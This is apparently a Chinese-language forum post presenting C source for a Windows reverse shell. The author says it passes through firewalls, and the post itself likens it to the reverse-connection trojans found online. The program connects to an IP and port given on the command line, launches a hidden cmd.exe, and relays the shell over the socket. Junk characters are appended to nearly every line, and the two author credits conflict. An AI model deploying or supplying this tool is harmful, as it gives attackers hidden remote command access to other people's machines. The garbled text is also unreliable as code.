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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I=[Ir8} ;  
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/* ============================== pKtN$Fd  
Rebound port in Windows NT u4#YZOiY)A  
By wind,2006/7 Kpg?' !I  
===============================*/ ]4ib^R~Z  
#include 'aWqj+Wbh  
#include Q&#Arph0e  
J Bgq2  
#pragma comment(lib,"wsock32.lib") G{.[o6>  
))%f"=:wt  
void OutputShell(); I A%ZCdA;  
SOCKET sClient; -aq3Lqi  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 25PZ&^G 8%  
:5sjF:@  
void main(int argc,char **argv) (_%l[:o6  
{ o:'@|(&<  
WSADATA stWsaData; Cag^$nj  
int nRet; XJ!?>)N .  
SOCKADDR_IN stSaiClient,stSaiServer; ExhK\J  
wz..  
if(argc != 3) 7W'&v+\  
{ 5X>K#N  
printf("Useage:\n\rRebound DestIP DestPort\n"); F EUfskv  
return; Y\Z6u)  
} w@"Zjbs`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); #<~oR5ddlb  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IL`LI J:O  
<.#jp([W>  
stSaiClient.sin_family = AF_INET; QOX'ZAB`  
stSaiClient.sin_port = htons(0); `_f&T}]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2$o#b .  
1Ys)b[:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &pQ[(|=(  
{ kbL7Xjk  
printf("Bind Socket Failed!\n"); rd>>=~vx=/  
return; w/ ^_w5  
} Oq$-*N  
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stSaiServer.sin_family = AF_INET; CA1Jjm=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H<}|n1w<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \!hd|j?&6  
?2_h.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WJxcJE  
{ nrA 4N1  
printf("Connect Error!"); OLtXk  
return; Yecdw'BW?  
} *o5[P\'6  
OutputShell(); _k : BY  
} '%ByFZ zi  
'gXD?ARW  
void OutputShell() :IU<AG6  
{ \[qxOZ{  
char szBuff[1024]; =E$bZe8  
SECURITY_ATTRIBUTES stSecurityAttributes; DE7y\oO]  
OSVERSIONINFO stOsversionInfo; H0 Z o.Np  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JhjH_)  
STARTUPINFO stStartupInfo; q sUBvq  
char *szShell; :Jf</uP_  
PROCESS_INFORMATION stProcessInformation; t*; KxQ+'?  
unsigned long lBytesRead; #'},/Lm@  
,;hpqu|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?(U;T!n  
|QF_E4ISD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -T;^T1  
stSecurityAttributes.lpSecurityDescriptor = 0;  j'Jb+@W?  
stSecurityAttributes.bInheritHandle = TRUE; .#Nf0  
GqNOWK2O  
j!kJ@lbP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~(^pGL3<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qdy(C^(fa  
l.]wBH#RS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GRJ6|T$!?$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l*]hUPJ  
stStartupInfo.wShowWindow = SW_HIDE; OiXO<1'$  
stStartupInfo.hStdInput = hReadPipe; ?{}P#sn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tl{{Vc[  
g\q4-  
GetVersionEx(&stOsversionInfo); +."|Y3a  
m&b1H9ymd  
switch(stOsversionInfo.dwPlatformId) TQKcPVlE  
{ q9p31b3  
case 1: ;du},>T$n  
szShell = "command.com"; !q,7@W3i  
break; bcvm]aPu  
default: !'rdHSy  
szShell = "cmd.exe"; 16]Ay&Kn!  
break; i].E1},%  
} %o4v} mzV  
F!g1.49""  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h,B4Tg'  
]T|$nwQ  
send(sClient,szMsg,77,0); , `Z4fz:  
while(1) $Zo|t a^  
{ +6l#hO7h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [<{r~YFjWW  
if(lBytesRead) ?H,f|nc  
{ 9B;WjXSe  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N>YSXh`W`y  
send(sClient,szBuff,lBytesRead,0); uF|_6~g  
} Dn J `]r  
else WEX7=^k9  
{ 7FPSBvU#/  
lBytesRead=recv(sClient,szBuff,1024,0); ^'`(E_2u  
if(lBytesRead<=0) break; Al6%RFt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )=()  
} 3Mm_xYDud  
} 7g]mrI@  
uq-`1m }  
return; WA1d8nl  
}
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